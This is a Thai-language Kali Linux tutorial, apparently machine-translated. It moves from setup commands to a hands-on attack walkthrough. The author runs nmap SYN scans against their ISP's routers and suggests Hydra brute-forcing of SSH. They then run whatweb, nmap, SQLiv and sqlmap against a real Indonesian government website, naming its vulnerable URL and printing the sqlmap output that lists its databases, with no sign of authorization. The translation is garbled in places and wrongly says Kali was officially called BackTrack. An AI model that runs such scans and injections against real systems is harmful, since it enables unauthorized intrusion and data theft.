กวดวิชา Kali Linux

Kali Linux Tutorial



หากคุณเป็นผู้เชี่ยวชาญหรืออย่างน้อยก็คุ้นเคยกับ Linux คำสั่งและสภาพแวดล้อม เพียงแค่ติดตั้ง Kali Linux บนเครื่องของคุณ และต้องการเป็น Master of Kali Linux หรือ Ethical Hacker แสดงว่าคุณมาถูกที่แล้ว ในบทความนี้ ผมจะกล่าวถึงบทช่วยสอน Kali Linux สำหรับผู้ใช้ Linux ที่ไม่คุ้นเคยกับ Kali อยู่แล้ว และช่วยให้คุณเริ่มต้นเกี่ยวกับเทคนิคพื้นฐานบางอย่างที่ใช้สำหรับการแฮ็กและการทดสอบความปลอดภัยขณะใช้งาน Kali

Kali Linux คืออะไร?

กาลีลินุกซ์, ( เปิดตัวครั้งแรกเมื่อ 13 มีนาคม 2013 ) ซึ่งเป็นที่รู้จักอย่างเป็นทางการในชื่อ BackTrack ซึ่งพัฒนาโดยบริษัทรักษาความปลอดภัย Offensive Security เป็นการแจกจ่ายทางนิติเวชและเน้นความปลอดภัยตามสาขาการทดสอบของ Debian Kali Linux ได้รับการออกแบบโดยคำนึงถึงการทดสอบการเจาะระบบ การกู้คืนข้อมูล และการตรวจจับภัยคุกคาม โปรเจ็กต์เปลี่ยนไปใช้โมเดลการเปิดตัวแบบต่อเนื่องเมื่อต้นปีนี้ ด้วยความพยายามที่จะจัดหายูทิลิตี้ความปลอดภัยที่ทันสมัยมากขึ้นให้กับผู้ใช้ของการแจกจ่าย Kali Linux นั้นฟรีและจะเป็นตลอดไป มีเครื่องมือทดสอบการเจาะมากกว่า 600 รายการ







ทำไมต้อง Kali Linux? เหมาะสำหรับคุณหรือไม่?

Kali Linux ได้รับความนิยมอย่างมากเมื่อเร็ว ๆ นี้ และมีเหตุผลอยู่เบื้องหลัง การแฮ็กกลับมาเป็นสิ่งที่น่าสนใจในวัฒนธรรมสมัยนิยม และสิ่งนี้สามารถนำมาประกอบกับละครโทรทัศน์ Mr. Robot ได้อย่างมาก ความนิยมของ Mr. Robot ช่วยให้ Kali Linux ได้รับผู้ใช้ใหม่ ผู้คนที่แทบไม่มีความรู้เกี่ยวกับ Linux หรืออะไรที่เกี่ยวข้องกับความปลอดภัยของคอมพิวเตอร์ กำลังพยายามใช้ Kali เป็นการกระจาย Linux หลักของพวกเขา



การกระจายการทดสอบการเจาะที่ล้ำหน้าที่สุดเท่าที่เคยมีมา – นักพัฒนา Kali Linux (มันเขียนอยู่ในหน้าหลักของ Kali.org ที่ด้านบนสุดของหน้า) คุณได้อะไรจากข้อความนั้น? คุณสังเกตเห็นสิ่งนี้หรือไม่: APTD (การกระจายการทดสอบการเจาะขั้นสูง)? ไม่มีการแฮ็คคำที่นี่อย่างแท้จริง Kali Linux เหมือนกับลีนุกซ์รุ่นอื่นๆ พูดง่ายๆ คือ ลีนุกซ์แจกจ่ายเต็มไปด้วยเครื่องมือที่เกี่ยวข้องกับความปลอดภัยและมุ่งเป้าไปที่ผู้เชี่ยวชาญด้านความปลอดภัยของเครือข่ายและคอมพิวเตอร์ อย่างไรก็ตาม การใช้ Kali Linux จะเน้นที่การรักษาความปลอดภัยและนิติเวชเท่านั้น



การกระจาย Linux ไม่มีอะไรมากไปกว่าชุดรวมที่มีเคอร์เนล Linux ชุดยูทิลิตี้หลักและแอปพลิเคชัน และการตั้งค่าเริ่มต้นบางอย่าง ดังนั้น Kali Linux ไม่ได้นำเสนอสิ่งที่ไม่เหมือนใครในแง่ที่ว่าเครื่องมือส่วนใหญ่ที่จัดเตรียมไว้ให้สามารถติดตั้งบนการแจกจ่าย Linux ได้





Kali Linux ได้รับการออกแบบมาโดยเฉพาะเพื่อตอบสนองความต้องการของการทดสอบการเจาะระบบแบบมืออาชีพและการตรวจสอบความปลอดภัย มุ่งเป้าไปที่กลุ่มย่อยเฉพาะของผู้ใช้ Linux Pentesters, แฮกเกอร์ ฯลฯ ไม่แนะนำให้ใช้หากคุณคาดหวังว่า Kali สำหรับเดสก์ท็อป Linux ที่ใช้งานทั่วไปสำหรับการพัฒนา การออกแบบเว็บ เกม สำนักงาน ฯลฯ Kali อาจสร้างความท้าทายให้กับคุณ แม้ว่าคุณจะเป็นผู้ใช้ Linux ที่มีประสบการณ์ .

สิ่งที่ต้องทำหลังจากติดตั้ง KALI LINUX

หลังจากติดตั้ง Kali Linux คุณอาจสงสัยว่าจะทำอย่างไรต่อไปใช่ไหม ทุกคนประสบปัญหานี้ไม่ต้องกังวล



ขั้นตอนที่ 1 : ตั้งค่าที่เก็บ

ประการแรก คุณอาจทราบสิ่งนี้แล้ว แต่การตั้งค่าที่เก็บอย่างถูกต้องเป็นสิ่งสำคัญ อย่างที่ฉันได้กล่าวไปแล้ว Kali Linux รุ่นวางจำหน่ายกำลังพยายามจัดหายูทิลิตี้ความปลอดภัยที่ทันสมัยมากขึ้นให้กับผู้ใช้ของการแจกจ่าย โดยทั่วไป หากคุณติดตั้ง Kali Linux ใหม่ ที่เก็บจะอ้างอิงสื่อที่คุณใช้ในการติดตั้ง ในการแก้ไขปัญหานี้ คุณต้องเปลี่ยนที่เก็บเป็นที่เก็บ Kali Linux อย่างเป็นทางการ ไฟล์ที่ต้องการอยู่ภายใต้ /etc/apt/sources.list . เปิดไฟล์ด้วยโปรแกรมแก้ไขข้อความ leafpad และแทนที่ที่เก็บเริ่มต้นเป็นที่เก็บ Kali Rolling อย่างเป็นทางการ:

deb http://http.kali.org/kali kali-rolling main contrib non-free # For source package access, uncomment the following line # deb-src http://http.kali.org/kali kali-rolling main contrib non-free 

ขั้นตอนที่ 2: อัปเดตและอัปเกรด KALI LINUX . ของคุณ

หลังจากอัปเดตและอัปเกรดระบบของคุณแล้ว ให้ซิงค์ Kali Linux เป็นเวอร์ชันล่าสุด ในการทำเช่นนั้นให้เปิดเทอร์มินัลแล้วพิมพ์:

apt update -y && apt upgrade -y && apt dist-upgrade 

คำสั่ง apt update ดาวน์โหลดและดึงแพ็คเกจแสดงรายการข้อมูลจากที่เก็บและอัพเดตเพื่อรับข้อมูลเกี่ยวกับแพ็คเกจเวอร์ชันใหม่ล่าสุดและการขึ้นต่อกัน

คำสั่ง apt upgrade จะดาวน์โหลดและติดตั้งเวอร์ชันใหม่ของแพ็คเกจของแพ็คเกจ Kali Linux ที่ติดตั้ง ตราบใดที่ไม่มีข้อผิดพลาดในการขึ้นต่อกัน

apt dist-upgrade จะอัปเดตแพ็คเกจทั้งหมดเป็นเวอร์ชันใหม่ล่าสุดที่มีให้ไม่ว่าจะเกิดอะไรขึ้น และติดตั้งและลบการพึ่งพาตามต้องการ (ติดตั้งการพึ่งพาเพื่อตอบสนองแพ็คเกจอย่างเห็นได้ชัด แต่ยังลบการพึ่งพาที่กลายเป็นเด็กกำพร้าหากแพ็คเกจที่อัปเดตไม่ต้องการการพึ่งพาอีกต่อไป

แนวคิดการทดสอบการเจาะพื้นฐานกับ KALI LINUX

หลังจากที่คุณทำตามขั้นตอนเหล่านั้นสำเร็จแล้ว มีสามสิ่งสำคัญที่คุณสามารถทำได้ด้วย Kali Linux ตามระบบเป้าหมาย ได้แก่:

  1. การแฮ็กเครือข่ายไร้สาย – แฮ็ค Wifi, ฟิชชิ่ง, ARP Poisoning เป็นต้น
  2. การแฮ็กเว็บแอป – SQL Injection, Cross-site Request Forgery (CSRF), Web Phising เป็นต้น
  3. การแฮ็กอุปกรณ์ - ใช้ประโยชน์จากเครื่องเป้าหมายเพื่อควบคุมมัน

ฉันไม่รวมการแฮ็ก IoT ไม่ได้หมายความว่า Kali Linux ไม่มีความสามารถสำหรับจุดประสงค์นั้น แต่แท้จริงแล้วมันสามารถเป็นของ Device Hacking ได้เช่นกัน เนื่องจากอุปกรณ์มีลักษณะและรูปร่างทางกายภาพ ในบทช่วยสอนนี้ ฉันครอบคลุมความรู้พื้นฐานของพวกเขา เนื่องจาก Kali Linux มีขนาดใหญ่มาก จึงไม่เหมาะกับบทความเดียว!

คุณจำเป็นต้องรู้ด้วยว่าวงจรหรือขั้นตอนการทดสอบการเจาะ พวกเขาคือ:

  1. การลาดตระเวน – การรวบรวมข้อมูล
  2. การสแกน
  3. การดำเนินการ
  4. หลังการเอารัดเอาเปรียบ

การแฮ็กเครือข่ายไร้สายด้วย KALI LINUX

ในแง่ของการแฮ็กเครือข่ายไร้สาย เหยื่ออาจแตกต่างกันไป เนื่องจากเครือข่ายไร้สายประกอบด้วยหลายสิ่ง เช่น ISP (ผู้ให้บริการอินเทอร์เน็ต) เราเตอร์และเพื่อน (โมเด็ม ฮับ สวิตช์ ฯลฯ) และไคลเอนต์ (ผู้ใช้ กล้องวงจรปิด คอมพิวเตอร์ระยะไกล ฯลฯ) พวกเขายังมีโอกาสเสี่ยง

อินเทอร์เน็ตเป็นกลุ่มฮาร์ดแวร์เครือข่ายขนาดใหญ่และซับซ้อน ซึ่งเชื่อมต่อกันด้วยเกตเวย์ การติดตามเส้นทางของแพ็กเก็ตของคุณเป็นสิ่งสำคัญที่จะต้องทราบว่าคุณเข้าถึงชื่อโฮสต์หรือที่อยู่ IP เป้าหมายได้อย่างไร

Kali Linux มีเครื่องมือในตัวที่เรียกว่า Traceroute Traceroute ใช้เวลาของโปรโตคอล IP ในการถ่ายทอดสดและพยายามกระตุ้นการตอบสนอง ICMP TIME_EXCEEDED จากแต่ละเกตเวย์ตามเส้นทางไปยังโฮสต์บางแห่ง Traceroute พยายามติดตามเส้นทางที่แพ็กเก็ต IP จะติดตามไปยังโฮสต์อินเทอร์เน็ตโดยเรียกใช้แพ็กเก็ตโพรบที่มี TTL ขนาดเล็ก (time to live) จากนั้นฟัง ICMP เกินเวลาตอบกลับจากเกตเวย์ ฉันจะให้คุณและตัวอย่างวิธีการติดตามเราเตอร์ ISP ที่ใช้จัดการการเชื่อมต่อของเราโดยใช้ Traceroute

1. การรับรู้

การรวบรวมข้อมูลเป็นจุดเริ่มต้นที่สำคัญที่สุด อย่าพลาดขั้นตอนนี้ ในขั้นตอนนี้ จุดประสงค์ของเราคือเพื่อให้ได้ข้อมูลที่เป็นประโยชน์มากที่สุดเท่าที่จะเป็นไปได้ จากนั้นข้อมูลนี้จะนำไปใช้ในขั้นตอนต่อไป

ขั้นแรก เปิดเทอร์มินัลแล้วพิมพ์คำสั่งนี้เพื่อเริ่มติดตามถนนไปยังไซต์ ในกรณีนี้ ฉันตั้งค่าไซต์เป็น google.com

traceroute google.com 

ภาพหน้าจอ Traceroute

2. การสแกน

เมื่อเราเรียกใช้คำสั่ง คำสั่งจะแสดงรายการที่แพ็คเก็ตของเราไปตามลำดับ ดังที่คุณเห็นด้านบน ฉันได้รับ 3 ฮ็อพ ซึ่งหนึ่งในนั้นคือเซิร์ฟเวอร์ ISP ของฉัน IP แรกในรายการคือเราเตอร์ของฉัน ซึ่งทำหน้าที่เป็นเกตเวย์ และอีกสองคนถัดไปเป็นของ ISP ของฉัน ตอนนี้ มาตรวจสอบบริการที่พวกเขากำลังเรียกใช้โดยใช้ Nmap กัน ดังนั้นเป้าหมายที่เราจะสแกนคือ 10.152.192.1 และ 10.13.223.102 . ในเทอร์มินัลฉันรันคำสั่งต่อไปนี้:

nmap -v -sS [IP Target] -Pn 

มาแยกย่อยอาร์กิวเมนต์ของคำสั่ง:

-v = เปิดใช้งานโหมดการใช้คำฟุ่มเฟือย

-sS = ใช้เทคนิคการสแกน TCP SYN

-Pn = ปฏิบัติต่อโฮสต์ทั้งหมดเสมือนออนไลน์ — ข้ามการค้นพบโฮสต์

และนี่คือผลลัพธ์ที่เราได้รับ

ภาพหน้าจอ nmap 2

น่าเศร้าที่พอร์ตทั้งหมดบน 10.152.192.1 ถูกกรอง หมายความว่าการเชื่อมต่อ TCP ขาเข้าทั้งหมดถูกบล็อกโดย IDS หรือไฟร์วอลล์บน IP นี้ ตอนนี้ ให้สแกนอีกครั้งไปยังเป้าหมายที่สอง

ภาพหน้าจอ nmap 1

3. การดำเนินงาน

ในขั้นตอนนี้ ฉันไม่ได้ตั้งใจจะทำการแสวงหาผลประโยชน์ที่แท้จริง แต่ฉันจะแสดงให้คุณเห็นถึงวิธีการ จากผลการสแกน Nmap ด้านบน เรารู้ว่า IP นี้มีเซิร์ฟเวอร์ SSH ที่ทำงานบนพอร์ต 22 และเปิดอยู่ เปิดให้โดนดุแล้ว ฮ่า ฮ่า ! เราพบช่องโหว่ เซิร์ฟเวอร์ SSH นี้เป็นช่องที่เป็นไปได้ที่เราอาจพยายามเข้าถึงได้ มีเครื่องมือหลายอย่างใน Kali Linux ที่รองรับการโจมตีแบบดุร้ายหรือพจนานุกรมกับโปรโตคอล SSH สิ่งที่ได้รับความนิยมและทรงพลังที่สุดคือไฮดรา

ตกลง นั่นคือขั้นตอนพื้นฐานในการทดสอบการเจาะระบบกับเซิร์ฟเวอร์เป้าหมาย ซึ่งในตัวอย่างของเราคือเซิร์ฟเวอร์ ISP ของฉัน

เว็บแอปแฮ็คด้วย KALI LINUX

ที่จริงแล้ว หากคุณหลงใหลในสิ่งนี้ คุณสามารถตั้งค่าสภาพแวดล้อมการแฮ็กของคุณโดยติดตั้ง DWVA (Damn Vulnerable Web App) ลงใน Kali Linux ของคุณ เป็นเว็บแอปพลิเคชัน PHP/MySQL ที่มีช่องโหว่จำนวนมาก เป้าหมายหลักคือการให้ความช่วยเหลือผู้เชี่ยวชาญด้านความปลอดภัยในการทดสอบทักษะและเครื่องมือของตนในสภาพแวดล้อมทางกฎหมาย และช่วยให้นักพัฒนาเว็บเข้าใจกระบวนการรักษาความปลอดภัยของเว็บแอปพลิเคชันได้ดียิ่งขึ้น คุณสามารถรับ DWVA ได้ฟรีบน Github ที่นี่: https://github.com/ethicalhack3r/DVWA

สำหรับตอนนี้ฉันจะแสดงวิธีการแฮ็กเว็บแอปบนไซต์จริงให้คุณดู แต่สัญญากับฉันว่ามันจำกัดเพื่อการศึกษาเท่านั้น เราจะจำลองการโจมตีจริงบนไซต์จริงโดยใช้การฉีด SQL

วิชาบังคับก่อน

เครื่องมือที่ครอบคลุม:

– Whatweb (ติดตั้งไว้ล่วงหน้า)

– Nmap (ติดตั้งไว้ล่วงหน้า)

– SQLiv (ติดตั้งด้วยตนเอง)

– SQLMap (ติดตั้งไว้ล่วงหน้า)

เราต้องการเครื่องมือเพิ่มเติมอีกหนึ่งเครื่องมือซึ่งมีอยู่ใน Github ที่นี่: https://github.com/Hadesy2k/sqliv ติดตั้งลงใน Kali Linux ของเราก่อน เครื่องมือนี้ชื่อ SQLiv ซึ่งสามารถทำการสแกนแบบกำหนดเป้าหมายโดยระบุโดเมนเฉพาะ (พร้อมการรวบรวมข้อมูล) พิมพ์ในเทอร์มินัล:

git clone https://github.com/Hadesy2k/sqliv.git cd sqliv && sudo python2 setup.py -i 

Target: www.trenggalekkab.go.id

1. การรับรู้

รวบรวมข้อมูลที่เป็นประโยชน์มากที่สุดเท่าที่เราจะทำได้ เราสามารถเปิดหน้าเว็บและตรวจสอบว่าแอปพลิเคชันใดกำลังทำงานอยู่ในไซต์นี้ ก่อนอื่นให้ตรวจสอบว่าเป็นเว็บไซต์ประเภทใด เราจะใช้ whatweb เพื่อทำสิ่งนั้น

whatweb www.trenggalekkab.go.id 

ภาพหน้าจอของเว็บอะไร

ดังที่คุณเห็นผลลัพธ์ข้างต้น เป้าหมายอยู่ในอินโดนีเซีย กำลังวิ่ง Apache v2.2.27 บนเว็บเซิร์ฟเวอร์และยังมี PHP v5.4.31 , มันมีที่อยู่ IP 103.247.21.142 . โอเค รับทราบ คุณอาจต้องไปที่หน้าเว็บ ค้นหาไฟล์หรือหน้าเว็บที่สร้าง พารามิเตอร์ของ URL หรือแม้แต่แบบฟอร์มการเข้าสู่ระบบ ตอนนี้เราต้องการที่อยู่ IP นั้นสำหรับขั้นตอนต่อไปที่กำลังสแกน

2. การสแกน

เช่นเคย เราใช้ Nmap อีกครั้งเพื่อสแกนว่าพอร์ตและบริการใดที่ทำงานอยู่บนเป้าหมาย

nmap -v -sS 103.247.21.142 

และนี่คือผลลัพธ์ที่เราได้รับ:

Completed SYN Stealth Scan at 21:22, 261.93s elapsed (1000 total ports) Nmap scan report for ip-103-247-21-142.wifian.net.id (103.247.21.142) Host is up (0.069s latency). Not shown: 985 closed ports PORT STATE SERVICE 21/tcp open ftp 25/tcp open smtp 53/tcp open domain 80/tcp open http 110/tcp open pop3 111/tcp open rpcbind 143/tcp open imap 212/tcp open anet 443/tcp open https 465/tcp open smtps 587/tcp open submission 993/tcp open imaps 995/tcp open pop3s 3128/tcp filtered squid-http  3306/tcp open mysql  

มีพอร์ตเปิดจำนวนมากที่จัดการแต่ละบริการบนเป้าหมาย แต่พอร์ตที่ดูสะดุดตาคือบริการ mysql บนพอร์ต 3306 แสดงว่าไซต์นี้ใช้งานอยู่ mysql เพื่อจัดการข้อมูลในฐานข้อมูล จากนั้นฉันสงสัยว่ามีช่องโหว่ SQL Injection ในเว็บไซต์นี้หรือไม่ ดังนั้นฉันจึงสแกนไซต์อีกครั้งโดยใช้ SQLiv ที่เราเพิ่งติดตั้ง ฉันพิมพ์คำสั่ง:

sqliv -t www.trenggalekkab.go.id 

SQLHacking ScreenShot1

เราพบ URL ที่มีช่องโหว่ SQL ที่เป็นไปได้ 2 รายการในไซต์นี้ จด URL เหล่านั้นไว้

3. การดำเนินงาน

ตกลง เรามี URL ที่มีช่องโหว่ของ SQL และพร้อมสำหรับการดำเนินการ ในการทำเช่นนั้น เราจะใช้ SQLMap ไวยากรณ์คือ:

sqlmap [Vulnerable URL] --dbs 

คำสั่งควรมีลักษณะดังนี้:

 sqlmap -u "http://www.trenggalekkab.go.id/berita.php?page=208" --dbs 

อาร์กิวเมนต์ –dbs คือการบอกให้ SQLMap รับฐานข้อมูลเป้าหมาย นี่คือผลลัพธ์ที่เราได้รับ:

[INFO] the back-end DBMS is MySQL web application technology: PHP 5.4.31, Apache 2.2.27 back-end DBMS: MySQL 5 [21:46:04] [INFO] fetching database names [21:46:04] [INFO] the SQL query used returns 2 entries [21:46:04] [INFO] resumed: information_schema [21:46:04] [INFO] resumed: trengkab_trg available databases [2]: [*] information_schema [*] trengkab_trg 

SQLMap พบ 2 ฐานข้อมูล แต่มีเพียงฐานข้อมูลเดียวเท่านั้นที่มีข้อมูลที่ละเอียดอ่อน เช่น บัญชีข้อมูลรับรองของผู้ดูแลระบบ นั่นคือบน trengkab_trg หลังจากที่เราพบฐานข้อมูลแล้ว ก็ยังมีอีกขั้นตอนหนึ่งที่เราควรทำ นั่นคือการค้นหาตารางและคอลัมน์และขั้นตอนสุดท้ายคือการดัมพ์ข้อมูล ฉันจะไม่แสดงให้คุณเห็นว่าในส่วนนี้โดยใช้เป้าหมายนี้อย่างไร อย่างน้อยคุณก็รู้แนวคิดพื้นฐานเกี่ยวกับวงจรการโจมตีและใช้เครื่องมือบางอย่าง

การแฮ็กอุปกรณ์

ในบทความหน้าเกี่ยวกับไซต์นี้ เราจะกล่าวถึงการแฮ็กอุปกรณ์ โปรดคอยติดตาม เพื่อเป็นการเตือนล่วงหน้า คุณจะต้องแน่ใจว่าคุณรู้จัก Python สำหรับสิ่งนี้